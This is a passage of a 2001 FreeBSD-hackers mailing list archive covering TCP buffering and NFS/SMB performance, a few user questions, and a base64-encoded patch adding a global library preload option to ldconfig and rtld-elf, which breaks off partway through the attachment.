that you can experience a sort of "capture" situation, where one or more busy connections can essentially starve out inactive connections. Those inactive connections may well be your ssh session where you're trying to fix it. Network performance when MBUF's are exhausted is eratic at best, and at worst completely stopped for a large number of processes on the system today. The nasty QoS word popped up when we talked about this before, that a QoS scheme could insure some connections go MBUF's, or even if there were more connections than MBUF's insure that connections got two at a time in a 'round robin' fashion or some other sheme to keep everything moving. If I could redesign buffering (from a TCP point of view) from the ground up I would: - Make the buffer size dymanic. Perhaps not at interrupt, but in a "unified vm" network should be able to take resources if it is active. - Make the buffers dynamically track individual connections. - Implement a fair-share mechanism. - Provide instrumentation to track when connections are slowed for lack of MBUF's. - Provide tuning parameters and maybe QoS parameters to be able to manage total buffer usage, individual connection buffer usage, and connection priorities. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 19:37:50 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id C560037B405 for ; Fri, 30 Nov 2001 19:37:43 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id A565078563; Sat, 1 Dec 2001 14:07:41 +1030 (CST) Date: Sat, 1 Dec 2001 14:07:41 +1030 From: Greg Lehey To: rsharpe@ns.aus.com Cc: Matthew Dillon , Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011201140741.J611@monorchid.lemis.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <3C07FCFF.4070008@ns.aus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3C07FCFF.4070008@ns.aus.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Saturday, 1 December 2001 at 8:11:19 +1030, Richard Sharpe wrote: > Matthew Dillon wrote: > >> Well, this is embarassing. I can reproduce this completely running >> 4.4-stable (Nov 17th kernel) on two machines. >> >> With newreno turned on, a TCP NFS mount only gets 80K/sec. With newreno >> turned off on the transmit side, a TCP NFS mount gets 7MB/sec. The >> state of the delayed-ack sysctl is irrelevant. This is without running >> any nfsiod's (which would mask the degredation of the synchronous >> messaging). > > I have upgraded to 4.4-STABLE, and have hacked in some changes to ata-dma.c > (provided by Greg Lehey, but I had to do it by hand) What did you have to do by hand? > so my drive is now running at UDMA 100. Can you send me dmesg output? In particular, I had a printf output there to show what the BIOS had set. Background for other people: Richard has an IDE chip which claims to be a SiS 5591, which according to the data sheet can't do better than UDMA 33. When he runs Linux on the box, however, it claims to be running at UDMA 100, and this hack seems to have had the same effect. > I have also ensured that disk write caching is on, which it seems to > be by default in 4.4. Yes, I think this is correct. > These changes have made a difference to the NetBench and dbench runs > (improved them), but they have made no difference to the tbench > runs, which only do network stuff. I'd like to see the new dbench results. > The traffic in the tbench case is SMB taffic. Request/response, with > a mixture of small requests and responses, and big request/small > response or small request/big response, where big is 64K. > > > I have switched off newreno, and it made no difference. I have > switched off delayed_ack, and it reduced performance about 5 > percent. I have made sure that SO_SNDBUF and SO_RCVBUF were set to > 131072 (which seems to be the max), and it increased performance > marginally (like about 2%), but consistently. Have you tried Matt Dillon's patch? > I am still analysing the packet traces I have, but it seems to me that > the crucial difference is Linux seems to delay longer before sending > ACKs, and thus sends less ACKs. Since the ACK is piggybacked in the > response (or the next request), it all works fine, and the > reponse/request gets there sooner. > > However, I have not convinced myself that the saving of 20uS or so per > request/response pair accounts for some 40+ Mb/s. As long as the ack traffic isn't saturating the link, and you're not running half-duplex, I can't see how that would be the problem. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 19:56:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id C384337B417 for ; Fri, 30 Nov 2001 19:56:11 -0800 (PST) Received: from 1cust172.tnt1.pasadena.ca.da.uu.net ([63.28.226.172] helo=fire) by avocet.prod.itd.earthlink.net with smtp (Exim 3.33 #1) id 16A1G1-0005hE-00 for hackers@FreeBSD.ORG; Fri, 30 Nov 2001 19:56:06 -0800 Message-ID: <002201c17a3d$bd7f12e0$6503c23f@fire> From: "Matthew" To: Subject: need cdrw info Date: Sat, 1 Dec 2001 07:56:51 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Disposition-Notification-To: "Matthew" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG any one know if there's supported IDE cdrw for freebsd4.1? Any software on FBSD4.1 to do the cdrw work? -------------------------------------------------- WWW.XGFORCE.COM - The Leader in System Clustering and Enterprise Firewall solution. -------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 20:49:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 6767337B405 for ; Fri, 30 Nov 2001 20:49:43 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB14nbw28731; Fri, 30 Nov 2001 20:49:37 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 20:49:37 -0800 (PST) From: Matthew Dillon Message-Id: <200112010449.fB14nbw28731@apollo.backplane.com> To: Leo Bicknell Cc: Mike Silbersack , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs References: <200111302059.fAUKxrI19553@apollo.backplane.com> <20011130194126.A969@ussenterprise.ufp.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :I think I tried this patch, and found some problems with it. As :I recall the problems were with extremely high bandwidth connections :(eg, I have two machines that can move 100Mbps FDX across country :(70ms latency), and when I tried the patch with that case performance :was "bad", in the sense that I got like 20Mbps, rather than 100, :like it should have allowed. Yah. RTT noise probably did it in. At those bandwidths the algorithm would be very hard pressed to find the point as it increases CWIN where the RTT goes up. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 21:29:12 2001 Delivered-To: freebsd-hackers@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 885) id 4BA9537B405; Fri, 30 Nov 2001 21:29:10 -0800 (PST) Date: Fri, 30 Nov 2001 21:29:10 -0800 From: Eric Melville To: David Miller Cc: freebsd-hackers@freebsd.org Subject: Re: [OT] alarm() question Message-ID: <20011130212910.A32476@FreeBSD.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from dmiller@sparks.net on Fri, Nov 30, 2001 at 02:53:24PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Why does the alarm go off but not interrupt the system call? bzzt() is > executed, but the program doesn't print Done and exit for a minute plus. > > Pointers to FM to RT welcome. The system call is being interrupted, it just gets restarted right away by default. See Steven's "UNIX Network Programming" for a means of avoiding this behavior. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 22:12:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns2.microbsd.net (ns2.microbsd.net [4.23.122.20]) by hub.freebsd.org (Postfix) with ESMTP id 540B137B419; Fri, 30 Nov 2001 22:12:43 -0800 (PST) Received: from mail.microbsd.net (mail.microbsd.net [4.23.122.30]) by ns2.microbsd.net (Postfix) with ESMTP id 37D7831A4; Sat, 1 Dec 2001 01:22:35 -0500 (EST) Subject: Make RELEASE broken? From: kerberus To: freebsd-questions@freebsd.org Cc: freebsd-hackers@freebsd.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/0.13 (Preview Release) Date: 01 Dec 2001 01:22:35 -0500 Message-Id: <1007187755.2509.1.camel@ns2.microbsd.net> Mime-Version: 1.0 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Okay ill ask again just in case nobody saw this! is make release broken in 4.4-STABLE ?? Or is there a definitive guide/FAQ on how to properly use make release to cut a modified distribution ? cause either im doing something wrong, or its definatley broken. Thanks in Advance To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 22:19: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 885) id CD87B37B417; Fri, 30 Nov 2001 22:18:59 -0800 (PST) Date: Fri, 30 Nov 2001 22:18:59 -0800 From: Eric Melville To: David Miller Cc: freebsd-hackers@freebsd.org Subject: Re: [OT] alarm() question Message-ID: <20011130221859.B32476@FreeBSD.org> References: <20011130212910.A32476@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130212910.A32476@FreeBSD.org>; from eric@FreeBSD.org on Fri, Nov 30, 2001 at 09:29:10PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > The system call is being interrupted, it just gets restarted right away by > default. See Steven's "UNIX Network Programming" for a means of avoiding > this behavior. Of course, I'm completely wrong because we're not even talking about a system call here. Mike Mired already posted what you need. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 0:24:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from warez.scriptkiddie.org (uswest-dsl-142-38.cortland.com [209.162.142.38]) by hub.freebsd.org (Postfix) with ESMTP id 2FAF937B416 for ; Sat, 1 Dec 2001 00:24:36 -0800 (PST) Received: from [192.168.69.11] (unknown [192.168.69.11]) by warez.scriptkiddie.org (Postfix) with ESMTP id ACDCA62D01 for ; Sat, 1 Dec 2001 00:24:35 -0800 (PST) Date: Sat, 1 Dec 2001 00:24:52 -0800 (PST) From: Lamont Granquist To: Subject: another global LD_PRELOAD patch for rtld-elf In-Reply-To: <20011130102928.E30981@iguana.aciri.org> Message-ID: <20011201001248.J72815-200000@coredump.scriptkiddie.org> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-858320923-1007195092=:72815" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-858320923-1007195092=:72815 Content-Type: TEXT/PLAIN; charset=US-ASCII this adds a -p option to ldconfig so you can do something like: ldconfig -p /usr/local/lib/libsafe.so to set a preload, and: ldconfig -pm /usr/local/lib/libsafe.so to merge one. the major problem i know of with this patch is that setting a preload ELF library will hose your ability to run linux binaries. also, you probably need to: cp /usr/src/include/elf-hints.h /usr/include/elf-hints.h initially in order to build (is this indicative of larger build issues involved with installed include files being selected before the one in the source tree?) --0-858320923-1007195092=:72815 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=rtld-elf-patch-2 Content-Transfer-Encoding: BASE64 Content-ID: <20011201002452.F72815@coredump.scriptkiddie.org> Content-Description: Content-Disposition: attachment; filename=rtld-elf-patch-2 LS0tIGluY2x1ZGUvZWxmLWhpbnRzLmh+CUZyaSBOb3YgMzAgMjM6MTA6MTIg MjAwMQ0KKysrIGluY2x1ZGUvZWxmLWhpbnRzLmgJRnJpIE5vdiAzMCAyMzox MToxNSAyMDAxDQpAQCAtNDAsNyArNDAsMTAgQEANCiAJdV9pbnQzMl90CWRp cmxpc3Q7CS8qIE9mZnNldCBvZiBkaXJlY3RvcnkgbGlzdCBpbg0KIAkJCQkJ ICAgc3RyaW5nIHRhYmxlICovDQogCXVfaW50MzJfdAlkaXJsaXN0bGVuOwkv KiBzdHJsZW4oZGlybGlzdCkgKi8NCi0JdV9pbnQzMl90CXNwYXJlWzI2XTsJ LyogUm9vbSBmb3IgZXhwYW5zaW9uICovDQorCXVfaW50MzJfdAlwcmVsb2Fk bGlzdDsJLyogT2Zmc2V0IG9mIHByZWxvYWQgbGlzdCBpbiANCisJCQkJCSAg IHN0cmluZyB0YWJsZSAqLw0KKwl1X2ludDMyX3QJcHJlbG9hZGxpc3RsZW47 IC8qIHN0cmxlbihwcmVsb2FkbGlzdCkgKi8NCisJdV9pbnQzMl90CXNwYXJl WzI0XTsJLyogUm9vbSBmb3IgZXhwYW5zaW9uICovDQogfTsNCiANCiAjZGVm aW5lIEVMRkhJTlRTX01BR0lDCTB4NzQ2ZTY4NDUNCi0tLSBsaWJleGVjL3J0 bGQtZWxmL3J0bGQuY34JRnJpIE5vdiAzMCAyMzoxMDo1NCAyMDAxDQorKysg bGliZXhlYy9ydGxkLWVsZi9ydGxkLmMJRnJpIE5vdiAzMCAyMzoxMTowMiAy MDAxDQpAQCAtNTIsOCArNTIsMTAgQEANCiAjaW5jbHVkZSAiZGVidWcuaCIN CiAjaW5jbHVkZSAicnRsZC5oIg0KIA0KLSNkZWZpbmUgRU5EX1NZTQkJIl9l bmQiDQotI2RlZmluZSBQQVRIX1JUTEQJIi91c3IvbGliZXhlYy9sZC1lbGYu c28uMSINCisjZGVmaW5lIEVORF9TWU0JCQkiX2VuZCINCisjZGVmaW5lIFBB VEhfUlRMRAkJIi91c3IvbGliZXhlYy9sZC1lbGYuc28uMSINCisjZGVmaW5l IEhJTlRfTElCUkFSWV9QQVRICTB4MDENCisjZGVmaW5lIEhJTlRfUFJFTE9B RAkJMHgwMg0KIA0KIC8qIFR5cGVzLiAqLw0KIHR5cGVkZWYgdm9pZCAoKmZ1 bmNfcHRyX3R5cGUpKCk7DQpAQCAtODAsNyArODIsNyBAQA0KIHN0YXRpYyB2 b2lkIGVycm1zZ19yZXN0b3JlKGNoYXIgKik7DQogc3RhdGljIGNoYXIgKmVy cm1zZ19zYXZlKHZvaWQpOw0KIHN0YXRpYyBjaGFyICpmaW5kX2xpYnJhcnko Y29uc3QgY2hhciAqLCBjb25zdCBPYmpfRW50cnkgKik7DQotc3RhdGljIGNv bnN0IGNoYXIgKmdldGhpbnRzKHZvaWQpOw0KK3N0YXRpYyBjaGFyICpnZXRo aW50cyhpbnQpOw0KIHN0YXRpYyB2b2lkIGluaXRfZGFnKE9ial9FbnRyeSAq KTsNCiBzdGF0aWMgdm9pZCBpbml0X2RhZzEoT2JqX0VudHJ5ICpyb290LCBP YmpfRW50cnkgKm9iaiwgRG9uZUxpc3QgKik7DQogc3RhdGljIHZvaWQgaW5p dF9ydGxkKGNhZGRyX3QpOw0KQEAgLTkxLDcgKzkzLDcgQEANCiBzdGF0aWMg dm9pZCBsaW5rbWFwX2FkZChPYmpfRW50cnkgKik7DQogc3RhdGljIHZvaWQg bGlua21hcF9kZWxldGUoT2JqX0VudHJ5ICopOw0KIHN0YXRpYyBpbnQgbG9h ZF9uZWVkZWRfb2JqZWN0cyhPYmpfRW50cnkgKik7DQotc3RhdGljIGludCBs b2FkX3ByZWxvYWRfb2JqZWN0cyh2b2lkKTsNCitzdGF0aWMgaW50IGxvYWRf cHJlbG9hZF9vYmplY3RzKGNoYXIgKik7DQogc3RhdGljIE9ial9FbnRyeSAq bG9hZF9vYmplY3QoY2hhciAqKTsNCiBzdGF0aWMgdm9pZCBsb2NrX2NoZWNr KHZvaWQpOw0KIHN0YXRpYyBPYmpfRW50cnkgKm9ial9mcm9tX2FkZHIoY29u c3Qgdm9pZCAqKTsNCkBAIC0zNTksNyArMzYxLDkgQEANCiAgICAgc3ltX3pl cm8uc3Rfc2huZHggPSBTSE5fQUJTOw0KIA0KICAgICBkYmcoImxvYWRpbmcg TERfUFJFTE9BRCBsaWJyYXJpZXMiKTsNCi0gICAgaWYgKGxvYWRfcHJlbG9h ZF9vYmplY3RzKCkgPT0gLTEpDQorICAgIGlmIChsb2FkX3ByZWxvYWRfb2Jq ZWN0cyhsZF9wcmVsb2FkKSA9PSAtMSkNCisJZGllKCk7DQorICAgIGlmIChs b2FkX3ByZWxvYWRfb2JqZWN0cyhnZXRoaW50cyhISU5UX1BSRUxPQUQpKSA9 PSAtMSkNCiAJZGllKCk7DQogICAgIHByZWxvYWRfdGFpbCA9IG9ial90YWls Ow0KIA0KQEAgLTgwNSw3ICs4MDksNyBAQA0KICAgICBpZiAoKHJlZm9iaiAh PSBOVUxMICYmDQogICAgICAgKHBhdGhuYW1lID0gc2VhcmNoX2xpYnJhcnlf cGF0aChuYW1lLCByZWZvYmotPnJwYXRoKSkgIT0gTlVMTCkgfHwNCiAgICAg ICAocGF0aG5hbWUgPSBzZWFyY2hfbGlicmFyeV9wYXRoKG5hbWUsIGxkX2xp YnJhcnlfcGF0aCkpICE9IE5VTEwgfHwNCi0gICAgICAocGF0aG5hbWUgPSBz ZWFyY2hfbGlicmFyeV9wYXRoKG5hbWUsIGdldGhpbnRzKCkpKSAhPSBOVUxM IHx8DQorICAgICAgKHBhdGhuYW1lID0gc2VhcmNoX2xpYnJhcnlfcGF0aChu YW1lLCBnZXRoaW50cyhISU5UX0xJQlJBUllfUEFUSCkpKSAhPSBOVUxMIHx8 DQogICAgICAgKHBhdGhuYW1lID0gc2VhcmNoX2xpYnJhcnlfcGF0aChuYW1l LCBTVEFOREFSRF9MSUJSQVJZX1BBVEgpKSAhPSBOVUxMKQ0KIAlyZXR1cm4g cGF0aG5hbWU7DQogDQpAQCAtODczLDM4ICs4NzcsNTQgQEANCiAgKiBuZWNl c3NhcnkuICBSZXR1cm5zIE5VTEwgaWYgdGhlcmUgYXJlIHByb2JsZW1zIHdp dGggdGhlIGhpbnRzIGZpbGUsDQogICogb3IgaWYgdGhlIHNlYXJjaCBwYXRo IHRoZXJlIGlzIGVtcHR5Lg0KICAqLw0KLXN0YXRpYyBjb25zdCBjaGFyICoN Ci1nZXRoaW50cyh2b2lkKQ0KK3N0YXRpYyBjaGFyICoNCitnZXRoaW50cyhp bnQgaGludGZsYWcpDQogew0KLSAgICBzdGF0aWMgY2hhciAqaGludHM7DQor ICAgIHN0YXRpYyBjaGFyICpwcmVsb2FkOw0KKyAgICBzdGF0aWMgY2hhciAq bGlicmFyeV9wYXRoOw0KIA0KLSAgICBpZiAoaGludHMgPT0gTlVMTCkgew0K KyAgICBpZiAoKGxpYnJhcnlfcGF0aCA9PSBOVUxMKSB8fCAocHJlbG9hZCA9 PSBOVUxMKSkgew0KIAlpbnQgZmQ7DQogCXN0cnVjdCBlbGZoaW50c19oZHIg aGRyOw0KIAljaGFyICpwOw0KIA0KIAkvKiBLZWVwIGZyb20gdHJ5aW5nIGFn YWluIGluIGNhc2UgdGhlIGhpbnRzIGZpbGUgaXMgYmFkLiAqLw0KLQloaW50 cyA9ICIiOw0KKwlsaWJyYXJ5X3BhdGggPSAiIjsNCisJcHJlbG9hZCA9ICIi Ow0KIA0KIAlpZiAoKGZkID0gb3BlbihfUEFUSF9FTEZfSElOVFMsIE9fUkRP TkxZKSkgPT0gLTEpDQogCSAgICByZXR1cm4gTlVMTDsNCiAJaWYgKHJlYWQo ZmQsICZoZHIsIHNpemVvZiBoZHIpICE9IHNpemVvZiBoZHIgfHwNCiAJICBo ZHIubWFnaWMgIT0gRUxGSElOVFNfTUFHSUMgfHwNCiAJICBoZHIudmVyc2lv biAhPSAxKSB7DQotCSAgICBjbG9zZShmZCk7DQotCSAgICByZXR1cm4gTlVM TDsNCisJICAgIGdvdG8gY2xlYW51cDsNCiAJfQ0KIAlwID0geG1hbGxvYyho ZHIuZGlybGlzdGxlbiArIDEpOw0KIAlpZiAobHNlZWsoZmQsIGhkci5zdHJ0 YWIgKyBoZHIuZGlybGlzdCwgU0VFS19TRVQpID09IC0xIHx8DQogCSAgcmVh ZChmZCwgcCwgaGRyLmRpcmxpc3RsZW4gKyAxKSAhPSBoZHIuZGlybGlzdGxl biArIDEpIHsNCiAJICAgIGZyZWUocCk7DQotCSAgICBjbG9zZShmZCk7DQot CSAgICByZXR1cm4gTlVMTDsNCisJICAgIGdvdG8gY2xlYW51cDsNCiAJfQ0K LQloaW50cyA9IHA7DQorCWxpYnJhcnlfcGF0aCA9IHA7DQorCXAgPSB4bWFs bG9jKGhkci5wcmVsb2FkbGlzdGxlbiArIDEpOw0KKwlpZiAoaGRyLnByZWxv YWRsaXN0bGVuID09IDAgfHwNCisJICBsc2VlayhmZCwgaGRyLnN0cnRhYiAr IGhkci5wcmVsb2FkbGlzdCwgU0VFS19TRVQpID09IC0xIHx8DQorCSAgcmVh ZChmZCwgcCwgaGRyLnByZWxvYWRsaXN0bGVuICsgMSkgIT0gaGRyLnByZWxv YWRsaXN0bGVuICsgMSkgew0KKwkgICAgZnJlZShwKTsNCisJICAgIGdvdG8g Y2xlYW51cDsNCisJfQ0KKwlwcmVsb2FkID0gcDsNCitjbGVhbnVwOg0KIAlj bG9zZShmZCk7DQogICAgIH0NCi0gICAgcmV0dXJuIGhpbnRzWzBdICE9ICdc MCcgPyBoaW50cyA6IE5VTEw7DQorICAgIHN3aXRjaCAoaGludGZsYWcpIHsN CisJY2FzZSBISU5UX0xJQlJBUllfUEFUSDoNCisgICAgICAgICAgcmV0dXJu IGxpYnJhcnlfcGF0aFswXSAhPSAnXDAnID8gbGlicmFyeV9wYXRoIDogTlVM TDsNCisJY2FzZSBISU5UX1BSRUxPQUQ6DQorICAgICAgICAgIHJldHVybiBw cmVsb2FkWzBdICE9ICdcMCcgPyBwcmVsb2FkIDogTlVMTDsNCisJZGVmYXVs dDoNCisJICByZXR1cm4gTlVMTDsNCisgICAgfQ0KIH0NCiANCiBzdGF0aWMg dm9pZA0KQEAgLTEwNzcsOSArMTA5Nyw4IEBADQogfQ0KIA0KIHN0YXRpYyBp bnQNCi1sb2FkX3ByZWxvYWRfb2JqZWN0cyh2b2lkKQ0KK2xvYWRfcHJlbG9h ZF9vYmplY3RzKGNoYXIgKnApDQogew0KLSAgICBjaGFyICpwID0gbGRfcHJl bG9hZDsNCiAgICAgc3RhdGljIGNvbnN0IGNoYXIgZGVsaW1bXSA9ICIgXHQ6 OyI7DQogDQogICAgIGlmIChwID09IE5VTEwpDQotLS0gc2Jpbi9sZGNvbmZp Zy9sZGNvbmZpZy5jfglGcmkgTm92IDMwIDIzOjEwOjI5IDIwMDENCisrKyBz YmluL2xkY29uZmlnL2xkY29uZmlnLmMJRnJpIE5vdiAzMCAyMzoxMTozMyAy MDAxDQpAQCAtNzEsNiArNzEsNyBAQA0KIHN0YXRpYyBpbnQJCQlqdXN0cmVh ZDsNCiBzdGF0aWMgaW50CQkJbWVyZ2U7DQogc3RhdGljIGludAkJCXJlc2Nh bjsNCitzdGF0aWMgaW50CQkJcHJlbG9hZDsNCiBzdGF0aWMgY2hhcgkJCSpo aW50c19maWxlOw0KIA0KIHN0cnVjdCBzaGxpYl9saXN0IHsNCkBAIC0xMTcs NyArMTE4LDcgQEANCiAJaGludHNfZmlsZSA9IGlzX2FvdXQgPyBfUEFUSF9M RF9ISU5UUyA6IF9QQVRIX0VMRl9ISU5UUzsNCiAJaWYgKGFyZ2MgPT0gMSkN CiAJCXJlc2NhbiA9IDE7DQotCWVsc2Ugd2hpbGUoKGMgPSBnZXRvcHQoYXJn YywgYXJndiwgIlJmOmltcnN2IikpICE9IC0xKSB7DQorCWVsc2Ugd2hpbGUo KGMgPSBnZXRvcHQoYXJnYywgYXJndiwgIlJmOmltcnN2cCIpKSAhPSAtMSkg ew0KIAkJc3dpdGNoIChjKSB7DQogCQljYXNlICdSJzoNCiAJCQlyZXNjYW4g PSAxOw0KQEAgLTE0MCw2ICsxNDEsOSBAQA0KIAkJY2FzZSAndic6DQogCQkJ dmVyYm9zZSA9IDE7DQogCQkJYnJlYWs7DQorCQljYXNlICdwJzoNCisJCQlw cmVsb2FkID0gMTsNCisJCQlicmVhazsNCiAJCWRlZmF1bHQ6DQogCQkJdXNh Z2UoKTsNCiAJCQlicmVhazsNCkBAIC0xNTAsOCArMTU0LDEyIEBADQogCQlp ZiAoanVzdHJlYWQpDQogCQkJbGlzdF9lbGZfaGludHMoaGludHNfZmlsZSk7 DQogCQllbHNlDQotCQkJdXBkYXRlX2VsZl9oaW50cyhoaW50c19maWxlLCBh cmdjIC0gb3B0aW5kLA0KLQkJCSAgICBhcmd2ICsgb3B0aW5kLCBtZXJnZSB8 fCByZXNjYW4pOw0KKwkJCWlmIChwcmVsb2FkKQ0KKwkJCQl1cGRhdGVfZWxm X3ByZWxvYWRzKGhpbnRzX2ZpbGUsIGFyZ2MgLSBvcHRpbmQsDQorCQkJCSAg ICBhcmd2ICsgb3B0aW5kLCBtZXJnZSB8fCByZXNjYW4pOw0KKwkJCWVsc2UN CisJCQkJdXBkYXRlX2VsZl9kaXJzKGhpbnRzX2ZpbGUsIGFyZ2MgLSBvcHRp bmQsDQorCQkJCSAgICBhcmd2ICsgb3B0aW5kLCBtZXJnZSB8fCByZXNjYW4p Ow0KIAkJcmV0dXJuIDA7DQogCX0NCiANCi0tLSBzYmluL2xkY29uZmlnL2xk Y29uZmlnLmh+CUZyaSBOb3YgMzAgMjM6MTA6MjUgMjAwMQ0KKysrIHNiaW4v bGRjb25maWcvbGRjb25maWcuaAlGcmkgTm92IDMwIDIzOjExOjMzIDIwMDEN CkBAIC0zNSw3ICszNSw4IEBADQogDQogX19CRUdJTl9ERUNMUw0KIHZvaWQJ bGlzdF9lbGZfaGludHMgX19QKChjb25zdCBjaGFyICopKTsNCi12b2lkCXVw ZGF0ZV9lbGZfaGludHMgX19QKChjb25zdCBjaGFyICosIGludCwgY2hhciAq KiwgaW50KSk7DQordm9pZAl1cGRhdGVfZWxmX2RpcnMgX19QKChjb25zdCBj aGFyICosIGludCwgY2hhciAqKiwgaW50KSk7DQordm9pZAl1cGRhdGVfZWxm X3ByZWxvYWRzIF9fUCgoY29uc3QgY2hhciAqLCBpbnQsIGNoYXIgKiosIGlu dCkpOw0KIF9fRU5EX0RFQ0xTDQogDQogI2VuZGlmDQotLS0gc2Jpbi9sZGNv bmZpZy9lbGZoaW50cy5jfglGcmkgTm92IDMwIDIzOjEwOjM2IDIwMDENCisr KyBzYmluL2xkY29uZmlnL2VsZmhpbnRzLmMJRnJpIE5vdiAzMCAyMzo1NDo1 MiAyMDAxDQpAQCAtNDQsMTggKzQ0LDU2IEBADQogI2luY2x1ZGUgImxkY29u ZmlnLmgiDQogDQogI2RlZmluZSBNQVhESVJTCQkxMDI0CQkvKiBNYXhpbXVt IGRpcmVjdG9yaWVzIGluIHBhdGggKi8NCisjZGVmaW5lIE1BWFBSRUxPQURT CTEwMjQJCS8qIE1heGltdW0gcHJlbG9hZGVkIGxpYnJhcmllcyAqLw0KICNk ZWZpbmUgTUFYRklMRVNJWkUJKDE2KjEwMjQpCS8qIE1heGltdW0gaGludHMg ZmlsZSBzaXplICovDQogDQogc3RhdGljIHZvaWQJYWRkX2Rpcihjb25zdCBj aGFyICosIGNvbnN0IGNoYXIgKiwgaW50KTsNCitzdGF0aWMgdm9pZAlhZGRf cHJlbG9hZChjb25zdCBjaGFyICosIGNvbnN0IGNoYXIgKiwgaW50KTsNCiBz dGF0aWMgdm9pZAlyZWFkX2RpcnNfZnJvbV9maWxlKGNvbnN0IGNoYXIgKiwg Y29uc3QgY2hhciAqKTsNCiBzdGF0aWMgdm9pZAlyZWFkX2VsZl9oaW50cyhj b25zdCBjaGFyICosIGludCk7DQogc3RhdGljIHZvaWQJd3JpdGVfZWxmX2hp bnRzKGNvbnN0IGNoYXIgKik7DQogDQogc3RhdGljIGNvbnN0IGNoYXIJKmRp cnNbTUFYRElSU107DQorc3RhdGljIGNvbnN0IGNoYXIJKnByZWxvYWRzW01B WFBSRUxPQURTXTsNCiBzdGF0aWMgaW50CQkgbmRpcnM7DQorc3RhdGljIGlu 